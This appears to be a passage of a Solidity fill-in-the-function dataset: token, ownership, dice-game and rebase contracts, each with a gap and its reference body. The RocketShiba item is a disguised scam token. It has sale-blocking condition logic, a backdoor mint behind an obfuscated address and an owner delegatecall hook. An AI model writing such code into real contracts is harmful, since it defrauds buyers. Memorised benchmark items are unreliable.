}
} | contract ComBillAdvancedToken is owned, ComBillToken, SafeMath {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function ComBillAdvancedToken(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) ComBillToken(initialSupply, tokenName, tokenSymbol) public {}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
<FILL_FUNCTION>
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function approvedAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
function sell(uint256 amount) public {
require(this.balance >= amount * sellPrice);
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount * sellPrice);
}
} |
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
| function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) | function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) |
50581 | Bloodhound | transferFrom | contract Bloodhound is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "Bloodhound";
symbol = "HOUND";
decimals = 9;
_totalSupply = 100000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> }
} | contract Bloodhound is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "Bloodhound";
symbol = "HOUND";
decimals = 9;
_totalSupply = 100000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
<FILL_FUNCTION>
} |
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
| function transferFrom(address from, address to, uint tokens) public returns (bool success) | function transferFrom(address from, address to, uint tokens) public returns (bool success) |
69143 | RocketShiba | condition | contract RocketShiba{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){<FILL_FUNCTION_BODY> }
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | contract RocketShiba{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
<FILL_FUNCTION>
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} |
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
| function condition(address _from, uint _value) internal view returns(bool) | function condition(address _from, uint _value) internal view returns(bool) |
64627 | SPACEDICE | bet | contract SPACEDICE is Mortal, usingNRE{
uint minBet = 1000000000000000; //.001 ETH minimum bet
event Roll(bool _won, uint256 _dice1, uint256 _dice2, uint256 _roll1, uint256 _roll2, uint _amount);
constructor() payable public {}
function() public { //fallback
revert();
}
function bet(uint _diceOne, uint _diceTwo) payable public {<FILL_FUNCTION_BODY> }
function checkContractBalance() public view returns(uint) {
return address(this).balance;
}
//Withdrawal function
function collect(uint _amount) public onlyOwner {
require(address(this).balance > _amount);
owner.transfer(_amount);
}
} | contract SPACEDICE is Mortal, usingNRE{
uint minBet = 1000000000000000; //.001 ETH minimum bet
event Roll(bool _won, uint256 _dice1, uint256 _dice2, uint256 _roll1, uint256 _roll2, uint _amount);
constructor() payable public {}
function() public { //fallback
revert();
}
<FILL_FUNCTION>
function checkContractBalance() public view returns(uint) {
return address(this).balance;
}
//Withdrawal function
function collect(uint _amount) public onlyOwner {
require(address(this).balance > _amount);
owner.transfer(_amount);
}
} |
require(tx.origin == msg.sender);//Prevent call from a contract
require(_diceOne > 0 && _diceOne <= 6);
require(_diceTwo > 0 && _diceTwo <= 6);
require(msg.value >= minBet);
uint256 rollone = ra() % 6 + 1;
uint256 rolltwo = rx() % 6 + 1;
uint256 totalroll = rollone + rolltwo;
uint256 totaldice = _diceOne + _diceTwo;
if (totaldice == totalroll) {
uint amountWon = msg.value*2;//Pays double for total call
if(rollone==rolltwo && _diceOne==_diceTwo) amountWon = msg.value*8;//Pays x8 for hard ways
if(totalroll==2 || totalroll==12) amountWon = msg.value*30;//Pays x30 for 11 or 66
if(!msg.sender.send(amountWon)) revert();
emit Roll(true, _diceOne, _diceTwo, rollone, rolltwo, amountWon);
}
else {
emit Roll(false, _diceOne, _diceTwo, rollone, rolltwo, 0);
}
| function bet(uint _diceOne, uint _diceTwo) payable public | function bet(uint _diceOne, uint _diceTwo) payable public |
88164 | Ownable | transferOwnership | contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {<FILL_FUNCTION_BODY> }
} | contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
<FILL_FUNCTION>
} |
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
| function transferOwnership(address newOwner) public onlyOwner | /**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner |
44959 | BigerToken | freeze | contract BigerToken is Ownable {
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint256 size) {
require(size > 0);
require(msg.data.length >= size + 4) ;
_;
}
using SafeMath for uint256;
string public constant name = "BigerToken";
string public constant symbol = "BG";
uint256 public constant decimals = 18;
string public version = "1.0";
uint256 public totalSupply = 100 * (10**8) * 10**decimals; // 100*10^8 BG total
//address public owner;
/* This creates an array with all balances */
mapping (address => uint256) public balanceOf;
mapping (address => uint256) public freezeOf;
mapping (address => mapping (address => uint256)) public allowance;
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint256 value);
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
/* This notifies clients about the amount frozen */
event Freeze(address indexed from, uint256 value);
/* This notifies clients about the amount unfrozen */
event Unfreeze(address indexed from, uint256 value);
/* Initializes contract with initial supply tokens to the creator of the contract constructor() public */
function BigerToken() public {
balanceOf[msg.sender] = totalSupply;
owner = msg.sender;
emit Transfer(0x0, msg.sender, totalSupply);
}
/* Send coins */
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) public returns (bool){
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(this)); //Prevent to contract address
require(0 <= _value);
require(_value <= balanceOf[msg.sender]); // Check if the sender has enough
require(balanceOf[_to] <= balanceOf[_to] + _value); // Check for overflows
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient
emit Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
return true;
}
/* Allow another contract to spend some tokens in your behalf */
function approve(address _spender, uint256 _value) public returns (bool success) {
require (0 <= _value ) ;
allowance[msg.sender][_spender] = _value;
return true;
}
/* A contract attempts to get the coins */
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) public returns (bool success) {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(this)); //Prevent to contract address
require( 0 <= _value);
require(_value <= balanceOf[_from]); // Check if the sender has enough
require( balanceOf[_to] <= balanceOf[_to] + _value) ; // Check for overflows
require(_value <= allowance[_from][msg.sender]) ; // Check allowance
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); // Subtract from the sender
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
function burn(uint256 _value) onlyOwner public returns (bool success) {
require(_value <= balanceOf[msg.sender]); // Check if the sender has enough
require(0 <= _value);
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender
totalSupply = SafeMath.safeSub(totalSupply,_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function freeze(uint256 _value) onlyOwner public returns (bool success) {<FILL_FUNCTION_BODY> }
function unfreeze(uint256 _value) onlyOwner public returns (bool success) {
require( _value <= freezeOf[msg.sender]); // Check if the sender has enough
require(0 <= _value) ;
freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value); // Subtract from the sender
balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value);
emit Unfreeze(msg.sender, _value);
return true;
}
// can not accept ether
function() payable public {
revert();
}
} | contract BigerToken is Ownable {
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint256 size) {
require(size > 0);
require(msg.data.length >= size + 4) ;
_;
}
using SafeMath for uint256;
string public constant name = "BigerToken";
string public constant symbol = "BG";
uint256 public constant decimals = 18;
string public version = "1.0";
uint256 public totalSupply = 100 * (10**8) * 10**decimals; // 100*10^8 BG total
//address public owner;
/* This creates an array with all balances */
mapping (address => uint256) public balanceOf;
mapping (address => uint256) public freezeOf;
mapping (address => mapping (address => uint256)) public allowance;
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint256 value);
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
/* This notifies clients about the amount frozen */
event Freeze(address indexed from, uint256 value);
/* This notifies clients about the amount unfrozen */
event Unfreeze(address indexed from, uint256 value);
/* Initializes contract with initial supply tokens to the creator of the contract constructor() public */
function BigerToken() public {
balanceOf[msg.sender] = totalSupply;
owner = msg.sender;
emit Transfer(0x0, msg.sender, totalSupply);
}
/* Send coins */
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) public returns (bool){
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(this)); //Prevent to contract address
require(0 <= _value);
require(_value <= balanceOf[msg.sender]); // Check if the sender has enough
require(balanceOf[_to] <= balanceOf[_to] + _value); // Check for overflows
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient
emit Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
return true;
}
/* Allow another contract to spend some tokens in your behalf */
function approve(address _spender, uint256 _value) public returns (bool success) {
require (0 <= _value ) ;
allowance[msg.sender][_spender] = _value;
return true;
}
/* A contract attempts to get the coins */
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) public returns (bool success) {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(this)); //Prevent to contract address
require( 0 <= _value);
require(_value <= balanceOf[_from]); // Check if the sender has enough
require( balanceOf[_to] <= balanceOf[_to] + _value) ; // Check for overflows
require(_value <= allowance[_from][msg.sender]) ; // Check allowance
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); // Subtract from the sender
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
function burn(uint256 _value) onlyOwner public returns (bool success) {
require(_value <= balanceOf[msg.sender]); // Check if the sender has enough
require(0 <= _value);
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender
totalSupply = SafeMath.safeSub(totalSupply,_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
<FILL_FUNCTION>
function unfreeze(uint256 _value) onlyOwner public returns (bool success) {
require( _value <= freezeOf[msg.sender]); // Check if the sender has enough
require(0 <= _value) ;
freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value); // Subtract from the sender
balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value);
emit Unfreeze(msg.sender, _value);
return true;
}
// can not accept ether
function() payable public {
revert();
}
} |
require(_value <= balanceOf[msg.sender]); // Check if the sender has enough
require(0 <= _value);
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender
freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value); // Updates totalSupply
emit Freeze(msg.sender, _value);
return true;
| function freeze(uint256 _value) onlyOwner public returns (bool success) | function freeze(uint256 _value) onlyOwner public returns (bool success) |
20433 | Ownable | Ownable | contract Ownable {
address public owner;
function Ownable() public {<FILL_FUNCTION_BODY> }
function _msgSender() internal view returns (address)
{
return msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
} | contract Ownable {
address public owner;
<FILL_FUNCTION>
function _msgSender() internal view returns (address)
{
return msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
} |
owner = msg.sender;
| function Ownable() public | function Ownable() public |
61276 | MonetaryPolicy | initialize | contract MonetaryPolicy is IMonetaryPolicy, OwnableUpgradeSafe {
using SafeMath for uint256;
using SafeMathInt for int256;
using UInt256Lib for uint256;
event RocketRebased(
uint256 indexed epoch,
uint256 exchangeRate,
int256 requestedSupplyAdjustment,
uint256 timestampSec
);
event LogMarketOracleUpdated(address marketOracle);
event RocketUpdated(address rocket);
IRocketV2 public rocket;
IOracle public marketOracle;
// If the current exchange rate is within this fractional distance from the target, no supply
// update is performed. Fixed point number--same format as the rate.
// (ie) abs(rate - targetPrice) / targetPrice < deviationThreshold, then no supply change.
// DECIMALS Fixed point number.
uint256 public deviationThreshold;
// The rebase lag parameter, used to dampen the applied supply adjustment by 1 / rebaseLag
// Check setRebaseLag comments for more details.
// Natural number, no decimal places.
uint256 public rebaseLag;
// More than this much time must pass between rebase operations.
uint256 public minRebaseTimeIntervalSec;
// Block timestamp of last rebase operation
uint256 public lastRebaseTimestampSec;
// The rebase window begins this many seconds into the minRebaseTimeInterval period.
// For example if minRebaseTimeInterval is 1 Week, it represents the time of Week in seconds.
uint256 public rebaseWindowOffsetSec;
// The length of the time window where a rebase operation is allowed to execute, in seconds.
uint256 public rebaseWindowLengthSec;
// The number of rebase cycles since inception
uint256 public epoch;
uint256 public increasePerRebase;
uint256 private constant DECIMALS = 18;
// $0.025
uint256 private constant INCREASE_PER_WEEK = 25 * 10**(DECIMALS - 3);
// Due to the expression in _computeSupplyDelta(), MAX_RATE * MAX_SUPPLY must fit into an int256.
// Both are 18 decimals fixed point numbers.
uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS;
// MAX_SUPPLY = MAX_INT256 / MAX_RATE
uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE;
function initialize(IRocketV2 _rocket, IOracle _marketOracle)
external
initializer
{<FILL_FUNCTION_BODY> }
function setMarketOracle(IOracle _marketOracle)
external
override
onlyOwner
{
marketOracle = _marketOracle;
emit LogMarketOracleUpdated(address(_marketOracle));
}
function setRocket(IRocketV2 _rocket) external override onlyOwner {
rocket = _rocket;
emit RocketUpdated(address(_rocket));
}
function setDeviationThreshold(uint256 _deviationThreshold)
external
override
onlyOwner
{
deviationThreshold = _deviationThreshold;
}
/**
* @notice Initiates a new rebase operation, provided the minimum time period has elapsed.
*/
function rebase() external override {
require(
inRebaseWindow(),
"MonetaryPolicy: Cannot rebase, out of rebase window (1)"
);
// This comparison also ensures there is no reentrancy.
require(
lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now,
"MonetaryPolicy: Cannot rebase, out of rebase window (2)"
);
// Snap the rebase time to the start of this window.
lastRebaseTimestampSec = now.sub(now.mod(minRebaseTimeIntervalSec)).add(
rebaseWindowOffsetSec
);
epoch = epoch.add(1);
uint256 targetPrice = uint256(1.25 ether).add(
epoch.mul(increasePerRebase)
);
uint256 exchangeRate;
bool rateValid;
(exchangeRate, rateValid) = marketOracle.getData();
require(rateValid, "MonetaryPolicy: invalid data from Market Oracle");
if (exchangeRate > MAX_RATE) {
exchangeRate = MAX_RATE;
}
int256 supplyDelta = _computeSupplyDelta(
rocket.totalSupply(),
exchangeRate,
targetPrice
);
supplyDelta = supplyDelta.div(rebaseLag.toInt256Safe());
if (
supplyDelta > 0 &&
rocket.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY
) {
supplyDelta = (MAX_SUPPLY.sub(rocket.totalSupply())).toInt256Safe();
}
uint256 supplyAfterRebase = rocket.rebase(epoch, supplyDelta);
assert(supplyAfterRebase <= MAX_SUPPLY);
emit RocketRebased(epoch, exchangeRate, supplyDelta, now);
}
function rebaseStakings() private {}
function setRebaseLag(uint256 _rebaseLag) external override onlyOwner {
require(_rebaseLag > 0, "MonetaryPolicy: rebaseLag should be > 0");
rebaseLag = _rebaseLag;
}
function setRebaseTimingParameters(
uint256 _minRebaseTimeIntervalSec,
uint256 _rebaseWindowOffsetSec,
uint256 _rebaseWindowLengthSec
) external override onlyOwner {
require(
_minRebaseTimeIntervalSec > 0,
"MonetaryPolicy: minRebaseTimeIntervalSec should be > 0"
);
require(
_rebaseWindowOffsetSec < _minRebaseTimeIntervalSec,
"MonetaryPolicy: rebaseWindowOffsetSec should be < minRebaseTimeIntervalSec"
);
minRebaseTimeIntervalSec = _minRebaseTimeIntervalSec;
rebaseWindowOffsetSec = _rebaseWindowOffsetSec;
rebaseWindowLengthSec = _rebaseWindowLengthSec;
}
function inRebaseWindow() public override view returns (bool) {
return (now.mod(minRebaseTimeIntervalSec) >= rebaseWindowOffsetSec &&
now.mod(minRebaseTimeIntervalSec) <
(rebaseWindowOffsetSec.add(rebaseWindowLengthSec)));
}
function _computeSupplyDelta(
uint256 totalSupply,
uint256 _rate,
uint256 _targetPrice
) private view returns (int256) {
if (_withinDeviationThreshold(_rate, _targetPrice)) {
return 0;
}
int256 targetPriceSigned = _targetPrice.toInt256Safe();
return
totalSupply
.toInt256Safe()
.mul(_rate.toInt256Safe().sub(targetPriceSigned))
.div(targetPriceSigned);
}
function _withinDeviationThreshold(uint256 _rate, uint256 _targetPrice)
private
view
returns (bool)
{
uint256 absoluteDeviationThreshold = _targetPrice
.mul(deviationThreshold)
.div(10**DECIMALS);
return
(_rate >= _targetPrice &&
_rate.sub(_targetPrice) < absoluteDeviationThreshold) ||
(_rate < _targetPrice &&
_targetPrice.sub(_rate) < absoluteDeviationThreshold);
}
} | contract MonetaryPolicy is IMonetaryPolicy, OwnableUpgradeSafe {
using SafeMath for uint256;
using SafeMathInt for int256;
using UInt256Lib for uint256;
event RocketRebased(
uint256 indexed epoch,
uint256 exchangeRate,
int256 requestedSupplyAdjustment,
uint256 timestampSec
);
event LogMarketOracleUpdated(address marketOracle);
event RocketUpdated(address rocket);
IRocketV2 public rocket;
IOracle public marketOracle;
// If the current exchange rate is within this fractional distance from the target, no supply
// update is performed. Fixed point number--same format as the rate.
// (ie) abs(rate - targetPrice) / targetPrice < deviationThreshold, then no supply change.
// DECIMALS Fixed point number.
uint256 public deviationThreshold;
// The rebase lag parameter, used to dampen the applied supply adjustment by 1 / rebaseLag
// Check setRebaseLag comments for more details.
// Natural number, no decimal places.
uint256 public rebaseLag;
// More than this much time must pass between rebase operations.
uint256 public minRebaseTimeIntervalSec;
// Block timestamp of last rebase operation
uint256 public lastRebaseTimestampSec;
// The rebase window begins this many seconds into the minRebaseTimeInterval period.
// For example if minRebaseTimeInterval is 1 Week, it represents the time of Week in seconds.
uint256 public rebaseWindowOffsetSec;
// The length of the time window where a rebase operation is allowed to execute, in seconds.
uint256 public rebaseWindowLengthSec;
// The number of rebase cycles since inception
uint256 public epoch;
uint256 public increasePerRebase;
uint256 private constant DECIMALS = 18;
// $0.025
uint256 private constant INCREASE_PER_WEEK = 25 * 10**(DECIMALS - 3);
// Due to the expression in _computeSupplyDelta(), MAX_RATE * MAX_SUPPLY must fit into an int256.
// Both are 18 decimals fixed point numbers.
uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS;
// MAX_SUPPLY = MAX_INT256 / MAX_RATE
uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE;
<FILL_FUNCTION>
function setMarketOracle(IOracle _marketOracle)
external
override
onlyOwner
{
marketOracle = _marketOracle;
emit LogMarketOracleUpdated(address(_marketOracle));
}
function setRocket(IRocketV2 _rocket) external override onlyOwner {
rocket = _rocket;
